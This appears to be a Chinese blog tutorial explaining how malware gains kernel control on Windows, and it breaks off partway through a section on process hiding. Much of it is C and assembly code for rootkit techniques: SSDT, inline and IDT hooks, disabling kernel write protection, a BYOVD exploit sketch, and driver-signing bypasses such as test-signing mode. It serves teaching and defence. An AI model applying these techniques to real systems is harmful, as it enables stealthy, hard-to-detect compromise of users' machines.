病毒木马侵入系统内核的底层运作机理

木马相关中文文献检索结果

以下是关于木马(恶意软件)的中文文献推荐,涵盖检测技术、防御方法、案例分析等领域:

检测技术类文献 《基于机器学习的木马病毒检测方法研究》(计算机工程与应用,2021) 该文献提出结合动态行为分析和静态特征提取的混合检测模型,准确率达到94.6%。

《物联网设备中的木马检测技术综述》(信息安全研究,2020) 系统梳理了针对智能家居、工业控制等场景的木马检测方案,包括流量分析和固件漏洞检测。

防御体系类文献

《面向APT攻击的定向木马防御框架设计》(计算机科学,2019) 构建了包含诱捕系统、行为监控和溯源追踪的三层防护体系,实验显示可阻断83%的高级持续性威胁。

《基于沙箱的未知木马动态分析系统》(通信技术,2022) 通过改进的虚拟化沙箱技术实现木马行为捕获,支持自动化生成检测规则。

案例分析类文献 《"暗云"木马传播机制与取证分析》(信息网络安全,2018) 详细解剖了该木马的Bootkit启动方式及网络通信特征,提供完整的取证流程。

《金融行业木马攻击事件溯源研究》(金融科技时代,2021) 结合某银行实际案例,分析钓鱼邮件-漏洞利用-横向移动的完整攻击链。

获取方式建议 中国知网(CNKI)或万方数据库搜索关键词:"木马检测"、"恶意软件防御"、"APT攻击"等,时间范围建议选择2015年后的文献。部分高校图书馆提供免费访问权限,公共图书馆通常支持文献传递服务。

核心问题:为什么恶意代码能够执行?

要理解这个问题,我们需要从CPU的执行原理开始。

一、CPU执行的本质

1. CPU不理解"善恶",只认指令

CPU的视角:

┌─────────────────────────────────────────┐

│ 内存地址 0x00401000 处有一条指令 │

│ 指令内容: 0xB8 0x01 0x00 0x00 0x00 │

│ 含义: MOV EAX, 1 │

│ │

│ CPU的反应: 执行它! │

│ CPU不会问: 这是好人写的还是坏人写的? │

└─────────────────────────────────────────┘

关键洞察:CPU是一个"盲目执行者",它只关心:

  1. 当前指令指针(EIP/RIP)指向哪里
  2. 那个地址的字节序列是什么
  3. 按照指令集规范执行

2. 程序执行的本质

cpp 复制代码
// 这段"正常"代码
int add(int a, int b) {
    return a + b;
}

// 和这段"恶意"代码
void steal_password() {
    send_to_hacker(read_password());
}

// 在CPU眼里没有区别,都是:
// 一系列字节 → 解码成微操作 → 执行

二、内存与执行权限

1. 虚拟内存的页表结构

┌──────────────────────────────────────────────────────────┐ │ │

│ 虚拟地址空间 │

│ │

│ 0xFFFFFFFF┌─────────────────────┐ │

│ │ 内核空间 │ ← Ring 0 才能访问 │

│ 0x80000000 ├─────────────────────┤ │

│ │ 用户空间 │ ← Ring 3 可以访问 │

│ 0x00000000 └─────────────────────┘ │

└──────────────────────────────────────────────────────────┘

页表项 (Page Table Entry) 结构:

┌─────┬─────┬─────┬─────┬─────┬───────────────────┐

│ NX │ G │ D │ A │ U/S │ 物理地址 │

│执行 │全局 │脏位 │访问 │用户/ │ │

│禁止 │ │ │ │超级 │ │

└─────┴─────┴─────┴─────┴─────┴───────────────────┘

  1. 为什么恶意代码能执行?
cpp 复制代码
// 场景1:代码本身就在可执行区域
// 当你运行一个 .exe 文件时:

加载器的工作:
1. 读取PE文件头
2. 将 .text 节映射到内存
3. 设置页属性为 EXECUTE_READ
4. 将 EIP 指向入口点

// 如果这个 .exe 是木马,它的代码天然就有执行权限!
cpp 复制代码
// 场景2:利用现有的可执行内存
// 这就是为什么 Shellcode 能工作

// 栈溢出示例(简化)
void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // 没有长度检查!
}

// 攻击者输入:
// [64字节填充][覆盖返回地址][shellcode]
//                    ↓
//            指向shellcode的地址

// 当函数返回时,CPU会:
// 1. POP返回地址到EIP
// 2. 跳转到那个地址执行
// 3. 开始执行shellcode!

3. 内存布局示意

攻击前的栈:

┌──────────────────────┐ 高地址

│ 返回地址 │ ← 0x00401234 (正常返回点)

├──────────────────────┤

│ 保存的EBP │

├──────────────────────┤

│ buffer[64] │

│ ... │

└──────────────────────┘ 低地址

攻击后的栈:

┌──────────────────────┐ 高地址

│ 0xDEADBEEF │ ← 被覆盖!指向shellcode

├──────────────────────┤

│ AAAAAAAAAA │ ← 被覆盖

├──────────────────────┤

│ AAAAAAAAAA │ ← 溢出的数据

│ shellcode... │

└──────────────────────┘ 低地址

三、Ring 0 vs Ring 3:权限隔离的原理

1. CPU的特权级机制

┌──────────────────────────────────────────────────────────┐

│ x86 保护环 │

│ │

│ ┌─────────┐ │

│ │ Ring 0 │ ← 内核态,完全控制 │

│ ┌───┴─────────┴───┐ │

│ │ Ring 1 │ ← 驱动程序(传统) │

│ ┌───┴─────────────────┴───┐ │

│ │ Ring 2 │ ← 较少使用 │

│ ┌───┴─────────────────────────┴───┐ │

│ │ Ring 3 │ ← 用户程序 │

│ └─────────────────────────────────┘ │

│ │

│ 当前特权级存储在 CS 寄存器的低2位 (CPL) │

└──────────────────────────────────────────────────────────┘

2. 特权级检查是如何工作的

cpp 复制代码
// CPU在执行特权指令时会检查CPL

// 特权指令示例:
IN AL, DX      // 读取I/O端口
OUT DX, AL     // 写入I/O端口
MOV CR0, EAX   // 修改控制寄存器
LGDT [mem]     // 加载全局描述符表
HLT            // 停止CPU

// CPU的内部逻辑(伪代码):
void execute_instruction(Instruction inst) {
    if (inst.is_privileged && CPL != 0) {
        raise_exception(GENERAL_PROTECTION_FAULT);  // #GP
        return;
    }
    // 正常执行
    actually_execute(inst);
}

3. 为什么内核态这么重要?

Ring 0 能做什么:

  1. 直接访问物理内存

┌─────────────────────────────────────┐

│ MOV EAX, CR3 ; 获取页表基址 │

│ ; 可以读写任何进程的内存! │

└─────────────────────────────────────┘

  1. 控制中断

┌─────────────────────────────────────┐

│ CLI ; 禁用中断 │

│ ; 没有任何东西能打断我! │

│ ; 杀毒软件?对不起,你也被暂停了 │

└─────────────────────────────────────┘

  1. 修改系统数据结构

┌─────────────────────────────────────┐

│ ; 修改SSDT、IDT、GDT等 │

│ ; 可以劫持整个系统的行为 │

└─────────────────────────────────────┘

  1. 执行I/O操作

┌─────────────────────────────────────┐

│ ; 直接操作磁盘、网卡等硬件 │

│ ; 绕过所有软件层面的安全检查 │

└─────────────────────────────────────┘

四、系统调用:Ring 3 到 Ring 0 的桥梁

1. 系统调用的完整流程

用户程序调用 CreateFile():

┌──────────────────────────────────────────────────────────┐

│ 用户态 (Ring 3) │

│ │

│ 1. kernel32.dll!CreateFileW() │

│ ↓ │

│ 2. ntdll.dll!NtCreateFile() │

│ ┌──────────────────────────────────────┐ │

│ │ MOV EAX, 0x55 ; 系统调用号 │ │

│ │ LEA EDX, [ESP+4] ; 参数指针 │ │

│ │ SYSENTER ; 进入内核! │ │

│ └──────────────────────────────────────┘ │

└──────────────────────────────────────────────────────────┘

┌───────────────────────┐

│ SYSENTER 指令执行: │

│ 1. CPL 从 3 变为 0 │

│ 2. 加载 Ring 0 的栈 │

│ 3. 跳转到 MSR 指定地址 │

└───────────────────────┘

┌──────────────────────────────────────────────────────────┐

│ 内核态 (Ring 0) │

│ │

│ 3. KiFastCallEntry │

│ ↓ │

│ 4. 通过 SSDT 查找对应函数 │

│ SSDT[0x55] → nt!NtCreateFile │

│ ↓ │

│ 5. nt!NtCreateFile() 执行实际操作 │

│ ↓ │

│ 6. SYSEXIT 返回用户态 │

└──────────────────────────────────────────────────────────┘

2. SSDT Hook 为什么有效?

cpp 复制代码
// SSDT 的结构
typedef struct _KSERVICE_TABLE_DESCRIPTOR {
    PULONG_PTR Base;           // 指向函数指针数组
    PULONG Count;              // 调用计数
    ULONG Limit;               // 服务数量
    PUCHAR Number;             // 参数字节数
} KSERVICE_TABLE_DESCRIPTOR;

// 正常情况:
SSDT.Base[0x55] = 0x805A1234  // 指向真正的 NtCreateFile

// Hook 后:
SSDT.Base[0x55] = 0xF8001000  // 指向恶意驱动中的假 NtCreateFile

// 为什么这能工作?
// 因为系统调用的分发逻辑是:
PVOID GetSystemServiceRoutine(ULONG index) {
    return (PVOID)KeServiceDescriptorTable->Base[index];
    // ↑ 这里没有验证地址的合法性!
    // 它只是信任 SSDT 中的值
}

3. SSDT Hook 的实现细节

cpp 复制代码
// 要修改 SSDT,需要解决两个问题:

// 问题1:SSDT 所在页面是只读的
// 解决:临时禁用写保护

KIRQL DisableWriteProtection() {
    KIRQL irql = KeRaiseIrqlToDpcLevel();
    
    ULONG_PTR cr0 = __readcr0();
    cr0 &= ~0x10000;  // 清除 WP (Write Protect) 位
    __writecr0(cr0);
    
    return irql;
}

void EnableWriteProtection(KIRQL irql) {
    ULONG_PTR cr0 = __readcr0();
    cr0 |= 0x10000;   // 设置 WP 位
    __writecr0(cr0);
    
    KeLowerIrql(irql);
}

// 问题2:多核CPU上的同步
// 解决:使用自旋锁或 InterlockedExchange

void HookSSDT(ULONG index, PVOID newFunc, PVOID *oldFunc) {
    KIRQL irql = DisableWriteProtection();
    
    // 原子操作替换
    *oldFunc = (PVOID)InterlockedExchange(
        (PLONG)&KeServiceDescriptorTable->Base[index],
        (LONG)newFunc
    );
    
    EnableWriteProtection(irql);
}

五、驱动加载:进入内核的合法途径

1. Windows 驱动加载流程

┌─────────────────────────────────────────────────────────┐

│ 驱动加载过程 │

│ │

│ 1. 用户态程序调用 CreateService() │

│ ↓ │

│ 2. SCM (服务控制管理器) 记录服务信息 │

│ ↓ │

│ 3. 调用 StartService() │

│ ↓ │

│ 4. NtLoadDriver() 系统调用 │

│ ↓ │

│ 5. 内核中的 IopLoadDriver() │

│ ├─→ 检查签名 (64位系统) │

│ ├─→ 分配内核内存 │

│ ├─→ 将 .sys 文件映射到内核空间 │

│ ├─→ 处理导入表(链接内核函数) │

│ └─→ 调用 DriverEntry() │

│ ↓ │

│ 6. DriverEntry() 开始在 Ring 0 执行 │

│ 此时,驱动代码拥有完全的内核权限! │

└──────────────────────────────────────────────────────────┘

2. 驱动签名绕过的历史方法

cpp 复制代码
// 方法1:利用签名漏洞
// 某些版本的签名验证存在缺陷

// 方法2:使用泄露的合法证书
// 例如:Realtek、JMicron 等公司的证书被盗用

// 方法3:测试签名模式
// bcdedit /set testsigning on
// 然后加载自签名驱动

// 方法4:利用已签名的漏洞驱动 (BYOVD)
// Bring Your Own Vulnerable Driver
// 加载一个有漏洞的合法签名驱动
// 利用其漏洞执行任意内核代码

3. BYOVD 攻击示例

cpp 复制代码
// 假设有一个合法签名的驱动存在以下漏洞:
// 它暴露了一个 IOCTL,允许写任意内核地址

// 漏洞驱动代码(简化):
NTSTATUS VulnerableIoctl(PIRP Irp) {
    PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
    
    if (stack->Parameters.DeviceIoControl.IoControlCode == 
        IOCTL_WRITE_MEMORY) {
        
        PWRITE_REQUEST req = Irp->AssociatedIrp.SystemBuffer;
        
        // 漏洞:没有验证目标地址!
        memcpy(req->Address, req->Data, req->Size);
        //      ↑ 这可以写任意内核地址!
    }
    return STATUS_SUCCESS;
}

// 攻击者利用代码:
void exploit_vulnerable_driver() {
    HANDLE hDevice = CreateFile(L"\\\\.\\VulnDriver", ...);
    
    // 1. 找到我们想修改的内核地址(如SSDT)
    PVOID ssdt_entry = find_ssdt_entry();
    
    // 2. 准备恶意函数地址
    PVOID malicious_func = allocate_kernel_memory_somehow();
    
    // 3. 利用漏洞写入
    WRITE_REQUEST req = {
        .Address = ssdt_entry,
        .Data = &malicious_func,
        .Size = sizeof(PVOID)
    };
    
    DeviceIoControl(hDevice, IOCTL_WRITE_MEMORY, &req, sizeof(req), ...);
    // SSDT 被劫持了!
}

六、Inline Hook 的底层原理

1. x86 指令编码基础

指令结构:

┌────────┬────────┬─────────┬─────────┬────────────┐

│ 前缀 │ 操作码 │ ModR/M │ SIB │ 位移/立即数 │

│ 0-4字节 │ 1-3字节 │ 0-1字节 │ 0-1字节 │ 0-8字节 │

└────────┴────────┴─────────┴─────────┴────────────┘

常见指令编码:

┌─────────────────────────────────────────────────┐

│ JMP rel32 : E9 xx xx xx xx (5字节) │

│ JMP [addr] : FF 25 xx xx xx xx (6字节) │

│ PUSH + RET : 68 xx xx xx xx C3 (6字节) │

│ MOV EAX, imm : B8 xx xx xx xx (5字节) │

│ CALL rel32 : E8 xx xx xx xx (5字节) │

└─────────────────────────────────────────────────┘

2. Inline Hook 工作原理

原始函数 NtCreateFile:

┌─────────────────────────────────────────────────┐

│ 地址 │ 字节码 │ 汇编 │

├────────┼───────────────┼────────────────────────┤

│ 0x805A1234│ 8B FF │ MOV EDI, EDI │

│ 0x805A1236│ 55 │ PUSH EBP │

│ 0x805A1237│ 8B EC │ MOV EBP, ESP │

│ 0x805A1239│ ... │ ... │

└─────────────────────────────────────────────────┘

Hook 后:

┌─────────────────────────────────────────────────┐

│ 地址 │ 字节码 │ 汇编 │

├───────────┼───────────────┼─────────────────────┤

│ 0x805A1234 │ E9 C7 EE AF 07 │ JMP 0xF80A0100 │

│ 0x805A1239 │ ... │ ... │

└─────────────────────────────────────────────────┘

↓ 跳转到恶意代码

┌────────────────────────────────────────────────────┐

│ 恶意代码 @ 0xF80A0100: │

│ │

│ ; 保存寄存器 │

│ PUSHAD │

│ │

│ ; 执行恶意逻辑 │

│ CALL log_file_access │

│ │

│ ; 恢复寄存器 │

│ POPAD │

│ │

│ ; 执行被覆盖的原始指令 │

│ MOV EDI, EDI │

│ PUSH EBP │

│ MOV EBP, ESP │

│ │

│ ; 跳回原函数继续执行 │

│ JMP 0x805A1239 │

└────────────────────────────────────────────────────┘

3. Hook 的关键技术细节

cpp 复制代码
// 计算相对跳转地址
// JMP rel32 的目标地址 = 当前地址 + 5 + rel32

void install_hook(void *target, void *detour) {
    // 计算相对偏移
    // target + 5 + offset = detour
    // offset = detour - target - 5
    
    LONG offset = (LONG)((ULONG_PTR)detour - (ULONG_PTR)target - 5);
    
    // 构造 JMP 指令
    BYTE hook_bytes[5];
    hook_bytes[0] = 0xE9;  // JMP opcode
    *(LONG *)&hook_bytes[1] = offset;
    
    // 写入目标函数
    // 需要先修改页面保护属性!
    DWORD old_protect;
    VirtualProtect(target, 5, PAGE_EXECUTE_READWRITE, &old_protect);
    memcpy(target, hook_bytes, 5);
    VirtualProtect(target, 5, old_protect, &old_protect);
}

4. 为什么需要处理被覆盖的指令?

cpp 复制代码
问题:JMP 指令覆盖了原函数的前几条指令

原始:
805A1234: 8B FF        MOV EDI, EDI    (2字节)
805A1236: 55           PUSH EBP        (1字节)
805A1237: 8B EC        MOV EBP, ESP    (2字节)
805A1239: ...

我们的 JMP 是 5 字节,会覆盖前 5 个字节的指令

如果不在跳板中执行这些指令,函数会崩溃!

正确的跳板 (Trampoline):
┌─────────────────────────────────────────────────┐
│ ; 执行被覆盖的原始指令                           │
│ MOV EDI, EDI     ; 原来在 805A1234              │
│ PUSH EBP         ; 原来在 805A1236              │
│ MOV EBP, ESP     ; 原来在 805A1237              │
│                                                 │
│ ; 跳回原函数(跳过被覆盖的部分)                 │
│ JMP 0x805A1239                                  │
└─────────────────────────────────────────────────┘

七、IDT Hook:劫持中断处理

1. 中断描述符表结构

cpp 复制代码
IDT (Interrupt Descriptor Table):
┌─────────────────────────────────────────────────────────────┐
│ IDTR 寄存器:                                                │
│ ┌──────────────────────────────────────┐                    │
│ │  Limit (16-bit)  │  Base (32/64-bit) │                    │
│ │     0x07FF       │   0x8003F400      │                    │
│ └──────────────────────────────────────┘                    │
│                         ↓                                    │
│ IDT 表 @ 0x8003F400:                                        │
│ ┌───────┬────────────────────────────────────────┐         │
│ │ Index │ IDT Entry (8 bytes on x86)             │         │
│ ├───────┼────────────────────────────────────────┤         │
│ │   0   │ Divide Error Handler                   │         │
│ │   1   │ Debug Exception                        │         │
│ │   2   │ NMI                                    │         │
│ │  ...  │ ...                                    │         │
│ │  0x2E │ System Call (int 2Eh)                 │ ← 关键! │
│ │  ...  │ ...                                    │         │
│ │  0x80 │ (Linux: System Call)                  │         │
│ └───────┴────────────────────────────────────────┘         │
└─────────────────────────────────────────────────────────────┘

2. IDT Entry 结构

cpp 复制代码
// x86 IDT Entry (8 bytes)
typedef struct _IDTENTRY {
    USHORT OffsetLow;      // 处理函数地址低16位
    USHORT Selector;       // 代码段选择子
    UCHAR Reserved;        // 保留
    UCHAR Type : 4;        // 门类型
    UCHAR Storage : 1;     // 0 = 中断门
    UCHAR DPL : 2;         // 描述符特权级
    UCHAR Present : 1;     // 存在位
    USHORT OffsetHigh;     // 处理函数地址高16位
} IDTENTRY;

// 处理函数地址 = (OffsetHigh << 16) | OffsetLow

3. IDT Hook 实现

cpp 复制代码
// 获取 IDT 基址
typedef struct _IDTR {
    USHORT Limit;
    ULONG_PTR Base;
} IDTR;

IDTR idtr;
__sidt(&idtr);  // 使用 SIDT 指令读取 IDTR

PIDTENTRY idt = (PIDTENTRY)idtr.Base;

// 保存原始的 int 2Eh 处理函数
ULONG original_handler = 
    (idt[0x2E].OffsetHigh << 16) | idt[0x2E].OffsetLow;

// 替换为我们的处理函数
void hook_int2e() {
    // 禁用中断,防止在修改过程中发生中断
    _disable();
    
    // 修改 IDT 条目
    ULONG new_handler = (ULONG)my_int2e_handler;
    idt[0x2E].OffsetLow = (USHORT)(new_handler & 0xFFFF);
    idt[0x2E].OffsetHigh = (USHORT)(new_handler >> 16);
    
    // 重新启用中断
    _enable();
}

// 我们的中断处理函数
__declspec(naked) void my_int2e_handler() {
    __asm {
        // 保存所有寄存器
        pushad
        pushfd
        
        // 检查系统调用号 (在 EAX 中)
        cmp eax, 0x55  // NtCreateFile
        jne pass_through
        
        // 记录调用
        push eax
        call log_syscall
        add esp, 4
        
    pass_through:
        // 恢复寄存器
        popfd
        popad
        
        // 跳转到原始处理函数
        jmp original_handler
    }
}

八、DKOM:直接操作内核对象

1. Windows 内核对象结构

cpp 复制代码
EPROCESS 结构(进程对象):
┌─────────────────────────────────────────────────────────────┐
│ Offset │ Field                │ 描述                        │
├────────┼──────────────────────┼─────────────────────────────┤
│ 0x000  │ Pcb                  │ KPROCESS 结构               │
│ 0x06C  │ ProcessLock          │ 进程锁                      │
│ 0x070  │ CreateTime           │ 创建时间                    │
│ 0x078  │ ExitTime             │ 退出时间                    │
│ 0x084  │ UniqueProcessId      │ 进程ID                      │
│ 0x088  │ ActiveProcessLinks   │ 进程链表 ← 关键!          │
│ 0x0B4  │ ImageFileName        │ 进程名                      │
│ ...    │ ...                  │ ...                         │
└─────────────────────────────────────────────────────────────┘

ActiveProcessLinks 是一个双向链表:
┌──────────┐     ┌──────────┐     ┌──────────┐     ┌──────────┐
│ System   │────→│ smss.exe │────→│ csrss.exe│────→│ malware  │
│ Process  │←────│          │←────│          │←────│ .exe     │
└──────────┘     └──────────┘     └──────────┘     └──────────┘

2. 进程隐藏的原理

cpp 复制代码
// Windows 遍历进程的方式:
// 从 PsActiveProcessHead 开始,沿着 ActiveProcessLinks 遍历

// 任务
相关推荐
乌萨奇也要立志学C++2 小时前
【Linux】线程同步 条件变量精讲 + 生产者消费者模型完整实现
java·linux·运维
ieayoio2 小时前
snipaste截图工具在linux下xfce中无法点击右键菜单
linux·ubuntu·截图·snipaste·托盘·xfce·xubuntu
奔跑的web.2 小时前
TypeScript 接口(interface)完全指南:语法、特性与实战技巧
linux·ubuntu·typescript
lkbhua莱克瓦242 小时前
进阶-存储对象2-存储过程上
java·开发语言·数据库·sql·mysql
AI+程序员在路上2 小时前
嵌入式Linux中添加ftp服务器的简易方法
linux·运维·服务器
杨杨杨大侠2 小时前
深入理解 LLVM:从编译器原理到 JIT 实战
java·jvm·编译器
小码吃趴菜2 小时前
TCP协议编程流程
服务器·网络·tcp/ip
qq_336313932 小时前
java基础-IO流(随机点名器)
java·开发语言·python
煤球王子2 小时前
浅学进程间通信3(消息队列)
linux